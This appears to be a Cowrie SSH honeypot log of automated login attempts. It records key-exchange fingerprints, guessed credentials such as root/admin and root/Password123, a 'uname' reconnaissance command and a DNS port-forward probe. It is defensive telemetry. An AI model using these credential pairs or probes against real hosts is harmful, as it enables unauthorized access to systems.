{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.175300Z","src_ip":"37.77.150.119","session":"8b6642ed8545","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.574778Z","src_ip":"37.77.150.119","session":"8b6642ed8545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.710220Z","session":"8b6642ed8545","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.844894Z","src_ip":"37.77.150.119","session":"8b6642ed8545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:03.979641Z","src_ip":"37.77.150.119","session":"8b6642ed8545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54316,"dst_ip":"10.17.0.5","dst_port":22,"session":"888f7a70d510","protocol":"ssh","message":"New connection: 195.178.110.218:54316 (10.17.0.5:22) [session: 888f7a70d510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:26.079207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:26.082650Z","src_ip":"195.178.110.218","session":"888f7a70d510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:26.161011Z","src_ip":"195.178.110.218","session":"888f7a70d510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:26.398351Z","src_ip":"195.178.110.218","session":"888f7a70d510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:35:27.479596Z","src_ip":"195.178.110.218","session":"888f7a70d510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":44706,"dst_ip":"10.17.0.5","dst_port":22,"session":"69299a4456ef","protocol":"ssh","message":"New connection: 162.120.6.20:44706 (10.17.0.5:22) [session: 69299a4456ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.421239Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.491436Z","src_ip":"162.120.6.20","session":"69299a4456ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":44718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ef1e0166077","protocol":"ssh","message":"New connection: 162.120.6.20:44718 (10.17.0.5:22) [session: 7ef1e0166077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.560656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.567044Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.637831Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password123","message":"login attempt [root/Password123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:07.851123Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:08.043632Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:08.047461Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:08.122068Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:08.127497Z","src_ip":"162.120.6.20","session":"7ef1e0166077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59706,"dst_ip":"159.203.135.109","dst_port":22,"session":"321044f032bb","protocol":"ssh","message":"New connection: 2.57.122.210:59706 (159.203.135.109:22) [session: 321044f032bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:09.046435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:09.066914Z","src_ip":"2.57.122.210","session":"321044f032bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:09.153015Z","src_ip":"2.57.122.210","session":"321044f032bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qq2w3e4r5t","message":"login attempt [user/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:09.541941Z","src_ip":"2.57.122.210","session":"321044f032bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:10.700118Z","src_ip":"2.57.122.210","session":"321044f032bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41576,"dst_ip":"10.17.0.5","dst_port":22,"session":"13fb411968fc","protocol":"ssh","message":"New connection: 193.32.162.145:41576 (10.17.0.5:22) [session: 13fb411968fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:34.397152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:34.401571Z","src_ip":"193.32.162.145","session":"13fb411968fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:34.517201Z","src_ip":"193.32.162.145","session":"13fb411968fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:34.830786Z","src_ip":"193.32.162.145","session":"13fb411968fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:36:35.937447Z","src_ip":"193.32.162.145","session":"13fb411968fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":14212,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f11ee5c6a8c","protocol":"ssh","message":"New connection: 37.77.150.119:14212 (10.17.0.5:22) [session: 7f11ee5c6a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:26.710312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:26.714663Z","src_ip":"37.77.150.119","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:26.844541Z","src_ip":"37.77.150.119","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:27.233741Z","src_ip":"37.77.150.119","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:27.366168Z","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:27.497599Z","src_ip":"37.77.150.119","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:27.630024Z","src_ip":"37.77.150.119","session":"7f11ee5c6a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":50856,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9be04435cc9","protocol":"ssh","message":"New connection: 80.94.92.168:50856 (10.17.0.5:22) [session: d9be04435cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:52.305003Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:37:52.406239Z","src_ip":"80.94.92.168","session":"d9be04435cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34952,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5501903c93","protocol":"ssh","message":"New connection: 195.178.110.218:34952 (10.17.0.5:22) [session: 1a5501903c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:16.677403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:16.682404Z","src_ip":"195.178.110.218","session":"1a5501903c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:16.762417Z","src_ip":"195.178.110.218","session":"1a5501903c93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:16.999595Z","src_ip":"195.178.110.218","session":"1a5501903c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:38:18.082079Z","src_ip":"195.178.110.218","session":"1a5501903c93","protocol":"ssh"}
